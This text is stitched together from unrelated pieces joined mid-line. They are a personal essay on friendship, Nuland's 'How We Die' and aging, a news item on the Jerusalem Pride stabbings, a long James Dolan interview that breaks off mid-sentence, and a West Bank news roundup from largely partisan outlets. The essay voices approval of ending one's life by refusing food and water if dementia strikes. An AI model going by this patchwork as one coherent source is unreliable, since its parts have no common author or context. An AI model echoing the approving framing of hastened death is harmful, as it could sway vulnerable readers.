It is a hard truth that people of more talented intellectual capacity seek out people with similar temperaments and natures. That is the key to all friendship. With the right people, they come alive. They speak freely and honestly, relating facts that stimulate their listeners who then come forward with their own treasured items of memory and knowledge that stimulate and reinforce the conversation. Both sides leave the discussion strengthed and invigorated. Both are eager to hear more, learn more. Both return feeling less isolated from the ephemeral l thing tat matter so much in the world.
Divas
The purpose is to learn and share our knowledge for its own sake not because we want to not to become the center of attention. A neighbor’s kid came to visit his parents. He was obsessed with learning about Rubik Cube. One the night of his arrival, there was a dinner in progress, but no sooner had the guests entered in the hallway, than this kid was putting on an exhibition, wresting with his cube, blocking the entering hallway, of course earning automatic applause from his audience. A short time later, he then went down to Miami to attend an international competition, and after all his self display his scores were mediocre, resting stolidity in the middle of the pack. I wondered if his interest was merely a desire to attract cheap applause, or whether he was serious student determined to become an expert, putting in those long hours of concentrated focus to improve his skill. Of course, my hopes were mislaid. He moved onto so something else where he would be the center of attention and hog the spotlight.
How We Die
Am reading an excellent book, How We Die? The author, Sherwin Nuland, is a doctor, a surgeon, who is a well educated and deeply cultured man. He writes with eloquence. His prose is not for the squeamish. He retails very grisly details about how we lose our lives. Each chapter documents the chief causes of death in America, heart disease, Alzheimer’s, accidents, suicides, “Murder and Serenity”, etc.
One death he documents was that of James McCarty who died of a heart attack. He was a successful construction executive who led a “suicidal” life. He smoked, ate rich food, consumed a lot of red meat, and grew flabby and overweight and never exercised. He arrived at the emergency room at 8 p.m., on a hot and humid Sept. evening. He complained of “a constrictive pressure behind the breastbone” that radiated up into his throat and down his left arm. The pressure had begun after his usual heavy dinner. His face was ashen and sweaty. His heartbeat was irregular but improved after initial treatment.
At 11:00 p.m., Nuland arrived. McCarty wasn’t pleased to see him. McCarty greeted him with a thin, forced smile. Nuland was 22 years of age at the time and this was one of his first cases. As Nuland sat down, McCarty suddenly threw his head back and “bellowed a wordless roar that came out of his throat from somewhere deep in his stricken heart.” He hit his balled fists with surprising force up against his chest as his face became swollen and purple.
Nuland explains how he opened up the chest cavity to massage the man’s heart. The heart felt like “an uncoordinated squirming, a jellylike bagful of hyperactive worms.” The heart was wriggling under his fingers, and he began a series of firm, syncopated compressions.
Then Nuland writes “Suddenly a something stupefying in its horror took place." (Excellent sentence.) McCarty “threw back his head once more, and staring at the ceiling with his glassy, unseeing gaze of open, dead eyes, roared at the distant heavens a hoarse, rasping whoop that sounded as if the hounds of hell were barking.” (Pat described this as McCarty’s “last hurrah.” McCarty, of course, was already dead when this happened.
The book is written in this effective pictorial style. It spares the reader nothing.
Of course, we all die from lack of oxygen. We cease breathing and our esophagus muscles can constrict and make us bark as we die or there can be seen great heaving as our lungs fail. The myths that our nails or hair grow after our death are simply myths. After we die, nothing grows. The lively energetic spirit that was one our deepest being had fled, leafing a pathetic shell behind that is not pleasant to look at. The eyes, at first unfocused and glassy, soon become covered ay a gray film that has no expression at all. The body beings to shrink. We have become mere luggage. What will survive of us has already been done. There is nothing else to look forward to.
I learned enough of New Testament Greek to read St. Paul’s letters, which were outstandingly articulate in every way. But when I came to the Resurrection, I became skeptical. It was a lovely wish – to be restored to your parents, your wife, and your friends. But St. Paul’s belief had its antecedents Zoroaster, the great Persian religious leader, was said to have been torn to pieces by his followers, but rose after three days. I don’t like coincides. Of course, Jesus appeared to his followers but there was little to record of him after that. Was he resurrected a second time? There is little information.
On Dying.
Aging is a merely Nature’s hint that our time on earth is ending. It is not a time to panic, but to concentrate and finish. On TV there are fear-mongering with ads like Entresto that pleads for more “tomorrows” or another one offering “a chance to live longer," as elderly people gaze upwards towards God.
This is despicable. There should be no fear of dying. When I think of leaving the world and its beauties, I try to picture a long festive Thanksgiving table full of friends and feasts, everyone full of joy and gladness. But as the end of the festivities approaches, the older guests realize that it now time for us to be generous, and give up their seats so that others may feast and joy and appreciate as we once did.
I have made a stern resolution not to outlive my wits. Alzheimer’s is a terrible disease which does nothing but cause suffering to everyone around it. One couple, Phil and Janet, were torn apart by it after their 50th wedding anniversary. Phil was a real estate developer who had led a prosperous life. One afternoon, Janet was on confronted by a furious Phil who accused her of vesting her lover, who happened to be a cousin of Phil’s who had died many years ago. When Phil finally died, relief swept over the family. The one thing your family should avoid is to feel relief at your death.
For my part, I refuse to outlive my wits. If I am stricken with it, I hope that can say with Seneca, “I will not relinquish old age if it leaves my better part intact. But if it begins to shake my mind, if it destroys its faculties, one by one, if it leaves me not life but breath, I will depart the putrid or tottering edifice.”
He added: “If I have to suffer without relief, I will depart, not through fear of pain itself but because it prevents all that for which I would live.”
I have made clear in my will that no one should attempt to resuscitate me if I die nor will they be allowed to use artificial means to sustain my life if my wits are gone. I detest last minute cures whose success only causes more suffering. I always admired Averill Harriman, who at the age of 94, called an end to his existence, by refusing food or water until his organs shut down and gave him death.
I feel the same. I know of people who begged for their lives as they were dying. They pleaded and begged and beseeched, yet life left them anyway. I am sorry, bit I scorn death. Too die is as natural as being born. I hope when I die I die full of joy, full of and thoughtful appreciation and deep gratitude for all the splendid friends and experience I was lucky to be part of. Life was a priceless gift, and it deserves my grateful admiration.
Perhaps I’m wrong and will be reunited to my lovely wife and friends and children. But God, they say, is good; He is love. I am certain that He will forgive me for my mistaken opinions. I wish they would prove true.
What is a worthwhile life? If you aware tat you have gifts above the ordinary, then your ambition must be to use them to create something special and worthwhile. Enduring setbacks and reverses, yet preserving, over time, you life will manifest the fixed determination of an indomitable will to realize your aims. Only then will you feel you took your own authentic path in life. But above all, you just honor our gifts by serving them tirelessly and to the full. You will work all your life like the bee building a honey comb.
As my own death approaches, I feel a fresh courage that is resolved to build and crate until I can’t any longer.
I would appreciate the opinions of others on the site.Itzik Shmuli has come out after the parade stabbings
A politician has come out after six people have been stabbed at a Jerusaleum Pride.
Itzik Shmuli, a MP for the Zionist Union, announced the LGBTI community can ‘no longer remain silent’ because it is ‘time to fight the great darkness.’
He wrote a column published following the attack yesterday, where suspect Yishai Shlissel is believed to have stabbed six people. One woman is critically wounded, two men were moderately wounded and another two men and a woman suffered light wounds.
It is believed to be the same man, an Orthodox Jew, who stabbed three people during the 2005 parade. He was recently released from prison following a 10 year sentence.
‘We can no longer remain silent because the knife is raised against the neck of the entire LGBTI community, my community,’ Shmuli wrote in Yedioth Ahronoth.’It will not stop there. This is the time to fight the great darkness.’
‘This terrible criminal act that once again happened in “the city of God”, is an attack on all of us,’ he continued.
‘It attacks the right of all of us to be different, make our choices, accept differences and include the other.’
Shmuli further wrote: ‘Israeli society is wounded, it has been stabbed in the stomach. It is losing its compassion for other people just because they are different. It is losing its acceptance of others.
‘There is a direct connection between those hanging loudspeakers in front of a hostel for autistic children to keep them away to those people who stab people whose only desire is to live according to their conscience and desire.’
‘On behalf of what God did the despicable criminal charge at a crowd of marchers yesterday?’ Shmuli added.
‘In the name of what religion did he draw his knife and begin to stab once. And again. And once again?’You see him plenty. He is an active owner, he attends games, he lives and dies with his teams the way you do and because he’s the man who signs the checks, his opinions occasionally become mandates, and sometimes controversies. You know James Dolan is in the arena, in both the literal and the literary sense.
You rarely hear him. On occasion, he offers brief remarks at press conferences. You can hear him sing, if you catch his band at a club. But it had been seven years since he sat down for an on-the-record interview about the Knicks and Rangers. He agreed to meet with The Post this week, inside a Madison Level suite at the Garden.
The Knicks and Rangers boss understands he is a lightning rod for the people that support his teams, that when things go wrong — and plenty has in the 15 years of his stewardship — you blame him. He gets it. And make no mistake, he is the boss, and wants to be the boss, and says unequivocally: “On my watch, it is my responsibility. All of it.”
But before we begin, it may help to hear something he had to say about music, his first love, a subject that not only fills his recreational hours but also infuses much of how he feels about his day job, too. And may inform what his expectations for his sporting teams are, and how he wishes they’d be achieved, as well as anything:
“I don’t play any solo stuff in my band,” he said. “I CAN solo. I can play the stuff and if you heard it you might think it’s OK, pretty good. But the other guitar players in my band — one of whom is my son [Aidan] — are much, much better guitar players than I am. To put the best sound out there, they play the solos.”
Mike Vaccaro: We’re inside Madison Square Garden, a place everyone knows you’re personally invested in, not only emotionally but also for $1 billion. With the political movement to relocate it, will we still be sitting here in 10 years?
James Dolan: Yes, I think we’ll be here. I think this building now — I’m obviously prejudiced — but I’ve heard from other people who would know that this is the best [arena] in the world. I’ve been traveling with the Eagles, I’ve seen 25 buildings the last four months, and nothing comes close to this. Some of them are very nice but this is in a whole other category. Putting history aside, just structurally, every seat in the building now, what the experience means. Even the seats way up there (points to upper rows) have a nice, clear view to the stage, have their own screen, it’s a pleasant experience, walk out of your seats into the upper concourse. You remember what it used to be like up there?
MV: Yes …
JD: Now it’s inviting. I do think it’s the best building in the world in the greatest city in the world. And why would you take that apart? We have to work it out.
MV: So you think the political climate will be such in 10 years that it will be worked out?
JD: It’s a long time and we’ll be paying, of course, close attention to it. Moving this place would be like moving the Empire State Building.
MV: I’m sure you heard the chants that have already started to fire Mike Woodson, which comes with the territory, naturally …
JD: Yeah …
MV: How patient will you be with him? He understood when he took the job the expectations that go with it. Will you give him a long rope?
JD: I have a lot of confidence in Woodson, and one thing I can say about Mike is he has the respect of all the players. They all respect him. And he treats them fairly and relatively equally, and that’s part of where the respect emanates from. And those are hard things to get from a coach. When a coach loses a team … that’s when a coach is kind of done.
MV: You’ve shown tolerance as an owner; [GM] Glen Sather had a lot of empty years with the Rangers before he showed success. Do you feel you’re more patient than an average owner?
JD: I really don’t compare myself with other owners. I’ll bet you I’m more patient than Mikhail [Prokhorov] is of his team. Mostly, I think it does not pay to be impatient, because you destabilize your team. It’s not like the players don’t want to win, it’s not like the owner doesn’t want to win; everybody wants to win, so it’s a question of: Can you get there? With Mike, I think he can get us there. Mostly, I think Carmelo [Anthony] can get us there, and the other players can get us there, they’re going to have to jell and I think Mike can do a lot to get that to happen. Because he has their respect.
MV: The Knicks started 18-5 last year and it didn’t end the way you wanted it to; at this point I assume you’d flip that script?
JD: You know what? I wouldn’t take last year’s team for this year’s team, because this year’s team is more designed to be a playoff team, whereas last year’s team was 18-5 but look who was playing: we had Rasheed Wallace who was doing everything for us, right? And we just started losing player after player … by the time we got to the playoffs that 18-5 team wasn’t the team that was playing in the playoffs. If they were I think we would’ve beaten Indiana.
MV: So this bad start …
JD: It’s going right according to plan (laughs) …
MV: A few days before training camp you changed general managers; why do that so close to the start of camp? Did something change from the start of summer to the end?
JD: I didn’t time it, per se, like that. I’m surprised other folks were surprised about this. The general manager’s work doesn’t really occur at that time of year. If you’re going to change general managers that’s probably the right time to do it. The next available trade date is Dec. 15. You’ve just finished free agency and all that. It’s a lull period. The timing didn’t really have much to do with that. It was more about an initiative I have going on with both teams that I hired McKinsey & Company [a Manhattan-based global management consulting firm] for, because as I’ve gotten to look at both our organizations, it’s become apparent that we really need to reprocess both teams. We were using a lot of — not old, but “classic” methods and now with technology, and what’s available to a team to help improve, I didn’t think we were taking advantage of those things.
MV: So in evaluating these business solutions you came to the conclusion Glen Grunwald was lacking and Steve Mills a better fit?
JD: I hired McKinsey in the summer, and Glen is more of a “classic” GM, and he just wasn’t the guy to lead this initiative for the team, and it had to be someone in that position who could do it because I wasn’t going to do it. It needed someone behind it, someone who understood it, and that just wasn’t Glen’s forte. I think he was a good general manager, he’s got a great eye for talent, he knows basketball well, but the job description changed.
MV: I assume you don’t read everything written about you, hear everything said about you, don’t spend time on message boards …
JD: To be honest with you, Mike, I barely read the paper. There’s just too much written … unless Barry [Watkins, MSG’s executive VP for communications and administration] says, ‘Here, read this …’ (laughs) If it’s on the back page, I obviously see it. And the thing is, whether it’s positive or whether it’s negative, it’s rarely insightful to me. My job is to know more than the writers.
MV: And you have sit-downs like this so infrequently …
JD: When it comes to criticism I always think, OK, let’s look back at which New York sports owner was loved by the fans when they owned the team? Do you know any?
MV: Well, people speak reverentially about George Steinbrenner …
JD: But not when he was there … (laughs)
MV: Not until the end …
JD: There you go.
MV: That said, fans have a visceral relationship with their teams, and a lot of the vitriol is aimed at the owner.
JD: Look, it’s all about wins and losses to the fans. They want to believe in their team. They want to believe their team has a shot at the championship. I think you, for example, understand the fan’s perspective, why a fan is a fan. They’re very emotionally involved. And when things aren’t going well they want to understand what went wrong and, inevitably, who’s to blame?
MV: The guy who writes the checks.
JD: Right. And in the end it’s all my responsibility. And when they see a player not playing well they wonder, “Why did we draft him?” or “Why did we trade for him?” and “What was the thinking?” and “Well that was pretty dumb.” And eventually it gets to the point of, well, this isn’t going to change unless somebody changes it and that’s when they look to the owner. Sometimes that isn’t emotionally satisfying for the fans and you get what you get.
MV: Do you think you’re a good owner?
JD: Yeah. I do.
MV: Why?
JD: I think I watch out for my fans. I try to give them a good product. I care for the teams. I’m emotionally involved and intellectually involved. I think an owner needs to be present. When an owner is not present that’s when things tend to go awry. The players, the coaches, the fans know there’s somebody in charge. They may not like what I’m doing but it’s much better than having nobody there. Nobody there just leaves you in despair.
MV: Are you a good boss?
JD: The teams aren’t much different than a lot of the other things I manage. If you’re the kind of person who likes your job, wants to continue to be better at it, wants resources, wants to continue to put out a better and better product, push the envelope, you’re going to like working for me. If you’re someone who says, well, I’ve accomplished what I’m going to accomplish, I want to sit here and do that, you’re probably not going to be as happy with me.
MV: For Knicks fans there’s one word that riles their passion more than any other: Isiah.
JD: Amazing, isn’t it?
MV: And you surely know the panic that ensues when a Glen Grunwald gets fired and people wonder, “Is Isiah coming back?”
JD: I can’t control what’s in other people’s minds. I can tell you that he’s a friend of mine. We speak, but not as often as we used to because he’s really involved in other things now. We’ll message back and forth once in a while. We used to talk a lot more often. He seems to be moving into another phase of his life, he’s not as basketball-centric, he’s doing a lot of charity work, he got his masters [in education, from Cal-Berkeley], he actually uses me to bounce business ideas off of …
MV: Do you still consult him, too, about basketball ideas?
JD: Not really. For Isiah, I don’t know that he’ll ever be able to work in New York. I just don’t know that he’ll ever get a fair shake, going forward in New York?
MV: Do you think that’s unfair? He did lose a lot of games here.
JD: He lost a lot of games! OK. Do I think he deserves another shot? Yeah. It just can’t be here. And I think he’s talented. I think he’s particularly talented at finding basketball talent. But I think he’s probably dismayed at this point. But I don’t see him coming back to New York. I couldn’t do that to him, and I couldn’t do that to the organization. He would probably do it as my friend but I couldn’t do it to him or his family. And you know what the press would do here. We’re interested in getting better and that situation would be such a distraction that it would actually hinder our ability to get better.
MV: If you could take a mulligan on the $100 million Amar’e contract …
JD: Nope.
MV: Because the first year was that important?
JD: We would not be where we are today without Amar’e. That summer, the summer of “The Decision,” there were a whole bunch of free agents, and the guys put their thing together in Miami, and Amar’e agreed to come to the Knicks, gave us a launch pad by which we could convince the other guys like Tyson [Chandler] to come, and ultimately Carmelo to come play with us. Do I think Carmelo would have come if we didn’t have Amar’e? No, I don’t think he would’ve. These free agents, when you get to this level of player — the Carmelos, the LeBrons, the Durants — the first thing they want before the money or anything else is to be on a winning team. They’ve got to believe they have a shot.
MV: So does it sadden you to watch him in a diminished state?
JD: I still have hope. You cannot ask for a guy to be more dedicated, more disciplined, than Amar’e. He does his rehab, he does his workouts, he does everything, he’s on it every day, and that’s worth a lot, too. If there’s justice in this world, his knee will heal up to the point where he can play more minutes and make the contribution he wants to make.
MV: A perfect irony — the Knicks’ last truly great moment came at the L.A. Forum when Bradley jumped into Reed’s arms and they beat the Lakers for the ’73 title. And now you own that building.
JD: I’m having a good time with it. It’s a significant move for the company; other than splitting off Cablevision and the transformation of the Garden, the most significant move we’ve made in 10 years, the company’s expanding to the west coast, focusing on growth, especially in the music and entertainment area.
MV: How important is music to you? Obviously you have the band [J.D. and the Straight Shot], you’ve been trailing the Eagles, you’ve opened for them. How much of that defines you?
JD: You are not what you own. Music is a big piece of who I am. I don’t own music. I create music, and I play it, but I do not own it. So if you want to get to know me, you’ll see music as a big piece of who I am.
MV: The Eagles come to you and say, “Come on up and play one song with us.” Which song do you pick?
JD: Whoa … I love so many Eagles songs …
MV: That’s the curveball question.
JD: They start off their show with a song called “Whatever Happened to Saturday Night” … maybe because I haven’t heard it as much as others but I love that song. And it’s just Glenn [Frey] and Don [Henley] sitting on amplifiers, playing guitars and to me that’s how I grew up playing music.
MV: You own the Garden now. But you were like a lot of kids who grew up around here and took the train to the Garden …
JD: The Old Garden, too.
MV: What does the building mean to you?
JD: I’m really proud of it right now. The money we put into it, this is a building that deserves this kind of investment and it’s a town that can appreciate it and actually expects it. People here have a high bar. And this place raises that bar.
MV: It does seem the Garden, as long as it has existed, has assumed a certain amount of responsibility for reaction.
JD: You have to do things here which sometimes, financially, don’t make sense, in order to honor what the place is. Things like 12/12/12, even to the point you’re bringing in an act that you have to stretch in order to get them here. You need to do all that to keep this place as iconic as it is now. So there’ll be more pictures on the wall. Hopefully we’ll have some of basketball and hockey teams, too. We’re doing our best to do that.
MV: Concerts are easier to guarantee than basketball games.
JD: Which brings me to a point (laughs) …
At this point, Dolan plays a snippet from his iPod of the recent concert at The Cutting Room in NYC. About to play a song called “White Bird” by It’s A Beautiful Day. Dolan, on the tape, says, “Welcome everybody from the Rangers game and thank you for bringing me a win. (applause) It’s too bad you didn’t come to the basketball game. (groans) Actually next game — we will win the next game, it’s guaranteed.”
That’s it. How that turned into what showed up in the papers the next day …
MV: Let’s talk about the Rangers a little bit. Is there a line of succession in place when Sather retires? Will he choose his replacement?
JD: Ultimately it’s got to be my call but I have a tremendous amount of respect for Glen and still feel very lucky to have him. He has a wealth of knowledge and experience and I don’t know if there’s anyone else in the NHL that’s better than him, but he’s got to be close to the top. His understanding of the game, his understanding of what makes a great player, and also he’s pulled off some trades I looked at him and said, “How did you do that?” As long as he’d like to stay I’d like to have him.
MV: A few years ago you took the mic at a postgame press conference and proclaimed the Rangers were on the right track for the Cup. Do you still feel that way?
JD: Yeah, I do. This is going to be an interesting year because we have a new coach and a new system. I’m heartened by what I’ve seen, it looks like the team is picking up on the coach’s strategy looks like they’re starting to jell, [Rick] Nash is coming back [Tuesday], we’ll see how that impacts the team. I like what I see. So much of hockey is playoffs, just like basketball, we’ve made the playoffs a bunch of times now but we haven’t … the closest we came was conference finals.
MV: While you’ve owned the Knicks and Rangers, the Yankees, Giants and Devils have all won championships, the Mets have been to the World Series. What do you feel when you see other teams’ successes?
JD: I don’t pay a lot of attention to the other sports. I’ve been here 15 years. So much of it is, it’s rare in a season when you see a team go through a season and dominate and go all the way through to the end. You want to be in those final four teams and then be hot, lucky, healthy … so the goal is to get there and then get the rest of the way.
MV: It seemed as if John Tortorella was on the brink of perfect New York stardom — no matter what, you had an opinion on him, good or bad. Are you sorry that didn’t work out?
JD: I miss John Tortorella. I’d visit Torts before a game and we would trade barbs for 10 minutes, he’d tell me about his [lousy] cable TV service and I’d be sitting there saying, “You can’t clear the puck out of your zone, what the hell’s wrong with you?” and he’d strike back and then play the game and I miss that. I’m developing a relationship with Alain [Vigneault] and he’s also a good guy, but Torts and I had a special relationship. It was fun for me. He banned me from the locker room for a while, all in fun. I miss that.
MV: What are your impressions of Mikhail Prokhorov?
JD: I don’t get to see him much but he clearly wants to win, which is a good thing. He’s the only guy paying more taxes than we are which is a club I wouldn’t necessarily want to be part of with him (laughs). I think he wants to win, I know he wants to win, he wouldn’t be putting the resources in that he is otherwise. But, I mean, he’s still my competitor. As a person I kind of know him, I’ve had lunch with him but other than that I don’t really know him well.
MV: One thing you share is that you’ve both expressed belief your teams can win a title this year. Do you really believe the Knicks can or was that just a usual declaration of high expectations?
JD: I think this team can win a championship.
MV: As presently constituted?
JD: I think there are a lot of teams that could win the championship this year. I think the Clippers can win. Are they going to? I hope not. I hope we win the championship. I think we have the pieces in place to do it. The skill level is there but there’s so much more to the game than that, and it’s really in the hands of the players. They have to believe in themselves, they have to put in the work, the effort, the discipline, they have to listen to the coach, they have to execute a strategy and put an effort in every game. And they have to get themselves to be the best team they can be at the end of March. It’s OK right now not to be the best team you can be. Last year by the end of the year we were struggling. I’d rather see it go the other way. I’m not happy, believe me, about the record where it is now. But the warts that are showing up now are things you can work on, things you can fix. Now you test the character of your team to see if it’s willing or able to do that, if the coach is able to do that, to make those fixes. Can they win the championship? Yes. They definitely can win the championship. There have been other championship teams that weren’t nearly as talented as this one. But they had something that this team needs to develop.
MV: There seems to be some question about the future of the Knicks City Dancers …
JD: Now you know why my band doesn’t play Madison Square Garden (laughs).
MV: How do you describe their status?
JD: When finishing the transformation we talked about all the other things we could do to make this season great for New York. We looked at our in-game experience for basketball and said “It’s tired.” So we went to a whole revamp and part was the Knicks City Dancers. We’ve actually invested more money into them, they’re working on new routines, they’ll be doing a lot more things that relate to Broadway and, hopefully, relate to New York, but it won’t be the old cheerleader squad. Honestly, we watched it the last couple of seasons, the women would go out there and they would perform and they wouldn’t even get applause. It just wasn’t engaging of the fan base. They will now be engaging. And they’re all talented enough to do this |
LEHEM (PIC) 28 Dec — Palestinian popular bodies engaged in active defense against settlement revealed a new way devised by a settlement association to size lands of al-Khader village south of Bethlehem city south of the occupied West Bank. The coordinator of the “Popular Committee against Settlement” in al-Khader village, Ahmed Salah, said that this project, implemented by “Women with Green Hats” settlement association, based on the purchase of every Israeli of a wooden bench at $500 and put it in the territory of Khallat Um Fahm after registering his name on it, so that Palestinian citizens are prohibited from sitting on these seats or approaching them for a certain distance. Salah told Quds Press that the proceeds of this project go in favor of support settlement projects and to implement the extremist Jewish Assembly’s plans that aim for “distorting the history and the future of the occupied Palestinian territories.” He confirmed that the association actually began during last week to erect wooden benches in the territory of al-Khader town
http://www.palestine-info.co.uk/En/default.aspx?xyz=U6Qq7k%2bcOd87MDI46m9rUxJEpMO%2bi1s7NdOZD4sD3uy4EBS9iojxwWVRAFBQJwTTDa1hX%2fmljg1WRuvXXzBUoDWYsWiSKErA1rSjM3TQsgWyBiOcNR%2bqWqAeM8E4WbNZ0bP0cFovSkU%3d
Report: Palestinians hold protest in Israeli city of Lod
TEL AVIV, Israel (Ma‘an) 28 Dec — Hundreds of Palestinians in the city of Lod, or al-Ludd in Arabic, demonstrated on Friday against attempts by Israel’s government to Judaize the city, Ynet reported. The protest in the Israeli city was organized by the Islamic Movement and other groups and saw demonstrators march from a mosque towards the city center. “They are doing everything to expel all Arabs from Lod. We will not be daunted by this policy. We shall continue to fight and protect our lands,” an organizer of the protest was quoted as saying by Ynet.
http://www.maannews.net/eng/ViewDetails.aspx?ID=551788
IOF uproot dozens of fruitful trees in Wadi al-Gharous area
AL-KHALIL (PIC) 29 Dec — A large force of Israeli troops along with two bulldozers raided Wadi Al-Gharous area east of Al-Khalil city and uprooted dozens of fruitful trees. According to Al-Khalil demarcation agreement which the Palestinian Authority signed with the Israeli occupation regime, Wadi Al-Gharous area is located within the so-called zone C under Israel’s control. The troops guarded the bulldozers as they were destroying agricultural lands planted with almonds, olives and grapes. The lands belong to the families of Jaber and Al-Jabari. One of the landowners Shaban Jaber told the Palestinian information center (PIC) that the bulldozers uprooted about 135 fruitful trees and demolished one water well and two irrigation ponds at the pretext they had no permits issued by the Israeli army’s civil administration.
http://www.palestine-info.co.uk/En/default.aspx?xyz=U6Qq7k%2bcOd87MDI46m9rUxJEpMO%2bi1s7hB7%2bT42Afzm%2fi6v06qO%2fY%2bBqWPUO71kCkcCPCemRapGJSDg8qhUXKRTLfYyZQGXC%2fDK0m5kLdQjXty%2bHgdP9IXtaolN6UQltuAIv55oM%2b3w%3d
Witnesses: Settlers raid Hebron village
BETHLEHEM (Ma‘an) 28 Dec — Dozens of settlers raided a Hebron village on Friday, locals said. Settlers from Haggay settlement raided the village of Dura accompanied by Israeli soldiers and threatened to take control of a water spring in the area, witnesses told Ma‘an. Settlers also entered an area of al-Khader village near Bethlehem, locals said.
http://www.maannews.net/eng/ViewDetails.aspx?ID=551712
Settlers raid Hebron village, set mobile houses on Khader lands in Bethlehem
PNN — On Friday 28th December, 100 Jewish settlers, under the protection of Israeli forces, raided Ein Canar area in Durah village, southwest of Hebron in the West Bank. Eyewitnesses said that settlers came from Beit Hagai nearby settlement.
In another context, settlers set mobile houses in the lands of al-Khader village, south of Bethlehem. Coordinator of the committee to resist Apartheid Wall and settlement in al-Khader, Ahmad Salah, said that settlers placed eight mobile houses “Caravans” in Wadi al-Ghaweed area, west of the village, which is considered an extension of the settlement outpost ‘Ein al-Qassis’ that was built on the lands of al-Khader. Salah noted that in the past two months, the Israeli forces razed around 300 dunums in Ein al-Qassis area and built infrastructure and roads linking the two settlements Daniel and Beitar Illit, which were built on the lands of Husan, Wadi Fokin and Nahalin villages.
http://english.pnn.ps/index.php/politics/3472-100-settlers-raid-hebron-village-set-mobile-houses-on-khader-lands-in-bethlehem
Jewish settlers assault Palestinian farmers
AL-KHALIL (PIC) 29 Dec — Jewish settlers from Susiya settlement assaulted Palestinian farmers in Yatta town, south of Al-Khalil, on Saturday. The village’s national committee against settlement said in a statement that a group of settlers attacked the farmers and expelled them out of their land under protection of Israeli occupation forces.
http://www.palestine-info.co.uk/En/default.aspx?xyz=U6Qq7k%2bcOd87MDI46m9rUxJEpMO%2bi1s7zXZYCAGRYNUqU4gJPFCEFnkiG6oC0qqYDChQjA87YwDjzetQSXzu9Hpl11NBOO6Xyj93CWr3Q%2bvsOBO38s%2bQT7d%2bP4xqwk%2fqz%2fPnlv9bck8%3d
Violence / Raids / Clashes / Arrests
Israeli forces arrest Palestinian policeman in Yatta
HEBRON (Ma‘an) 28 Dec — Israeli forces arrested an off-duty Palestinian Authority policeman in Yatta on Friday, Ma‘an’s reporter said. Firas Abu Aziza, 27, was detained by soldiers at a temporary checkpoint in Yatta and taken to an unknown location, witnesses said … Locals said that the attempted arrest of Abu Aziza in Hebron on Dec. 6, while he was on-duty, sparked clashes between Israeli soldiers in which 20 Palestinians were wounded. During the incident, Abu Aziza had resisted the arrest and several fellow police officers rushed to his aid.
http://www.maannews.net/eng/ViewDetails.aspx?ID=551719
Dozens of cases of suffocation in Bil‘in weekly march
PNN — Friday 28th December, dozens of demonstrators suffocated after inhaling tear gas in Bil‘in weekly march organized by the Popular Committee Against the Wall and Settlements in Bil‘in … Dozens of Israeli and international activists Participated in the march along with the people of Bil‘in … Upon the arrival of the participants to the Abu Lemon area adjacent to the wall, they cut some of the barbed wire around the apartheid wall and removed them away. The Israeli soldiers Who situated behind the wall shot tear gas, sound grenades, lead rubber-coated metal and they also sprayed wastewater mixed with chemicals at the protesters, which led to the injury of dozens of cases of suffocation, all of them were treated in the field. Violent clashes broke out between the youths and the Israeli occupation soldiers continued for hours.
http://english.pnn.ps/index.php/politics/3479-dozens-of-cases-of-suffocation-in-bilin-weekly-march
IOF attack Friday marches against settlement and wall in West Bank
RAMALLAH (PIC) 29 Dec — The Israeli occupation forces (IOF) quelled on Friday afternoon the peaceful marches that were held against settlement activities and the segregation wall in different West Bank villages.
http://www.palestine-info.co.uk/En/default.aspx?xyz=U6Qq7k%2bcOd87MDI46m9rUxJEpMO%2bi1s74q%2b9fP%2f1E%2bZSa5nwJD9b4MgpOvInTIMrWz0cpsidkuyxlt9gauvEjm6SdxPeQ5J%2b%2bLch1XmXHwGvr%2bYUoVT8yEWJgn7HOFb5iGWFRGPqtqU%3d
Israeli forces attack school, PSP activists during another attack after a funeral
PSP 28 Dec — For the third time in 4 days, Israeli forces attacked residents of Beit Ommar after a funeral. On Wednesday, December 26, over 100 soldiers and the ‘skunk’ truck were used in a prolonged attack on the residents of Beit Ommar that lasted over two hours. Soldiers began by firing on the the youth who had gathered near the entrance to the cemetery during the funeral of a man who died suddenly at the age of 37. Soldiers immediately began using rubber-coated steel bullets and live ammunition, as they had on December 22 when they wounded two young men with live ammunition … the Israeli forces entered the village, and spotted three Palestinian activists with PSP and two youth with them standing on a nearby roof taking pictures. The Israeli forces rushed the home, blocking the entrance to it with the three men and two boys inside. They then threw at least 4 tear gas canisters into the house. The activists, including PSP co-founder Mousa Abu Maria and boys aged 10 and 13, were forced onto the roof, where they could not escape the tear gas. The two youth lost consciousness and all five were captive in the house for over 45 minutes until the Israeli soldiers left the entrance.
http://palestinesolidarityproject.org/2012/12/28/israeli-forces-attack-school-psp-activists-during-another-attack-after-a-funeral/
Unedited security camera footage shows Israeli officer fired at Palestinian teenager after he retreated
Mondoweiss 27 Dec by Adam Horowitz — Robert Mackey at the New York Times Lede blog has the story behind the video above. It is security camera footage of Israeli border police killing 17-year-old Mohammed Salayme at a Hebron checkpoint on December 12th. The Israeli military released a version of the video on December 17, and it was clear it had been edited. Allison Deger wondered at the time what had been edited out? Now we know. [Al-Akhbar: It is not clear what the soldier said to provoke the boy, but Israelis routinely harass and humiliate Palestinians at checkpoints.]
http://mondoweiss.net/2012/12/security-teenager-retreated.html
After riot, settlers leave illegal outpost at will
Ynet 30 Dec — Dozens of rightist activists who camped out at the illegal West Bank outpost of Oz Zion on Friday night left the area of their own accord on Saturday evening … Only a day earlier the settlers clashed with the security forces that tried to remove them from the makeshift town. Five border police officers were lightly hurt before the forces decided to retreat. Dozens of IDF soldiers, cops and Border Guard officers took part in the failed evacuation … At least one settler was arrested during the incident. The Oz Zion outpost has been evacuated several times in the past year, but the settlers returned shortly afterwards.
http://www.ynetnews.com/articles/0,7340,L-4325879,00.html
Prisoners / Court actions
Palestinian facing charges after settler violence in Madama
ISM 28 Dec — …Last week in the village of Madama, a farmer by the name of Ma’mun was tending to his sheep when he was attacked; witnesses again blame a Yizhar security guard they know by the name of Jacob. Ma’mun was severely beaten and strangled by this security guard. Ma’mun’s face was swollen and full of blood and he was last seen in Madama foaming from the mouth. The harrowing account of the attack, which included injuries to Ma’mun’s family when they tried to assist him, can be read here. During the attack two other people were injured when soldiers and settlers attacked the villagers that arrived at the scene of the aggression. One was hospitalized with gunshot wounds in his leg, while the other was hit on the side of the head with a tear gas canister. Ma’mun was taken by the settlers then handed over to the Israeli Police who arrested him.
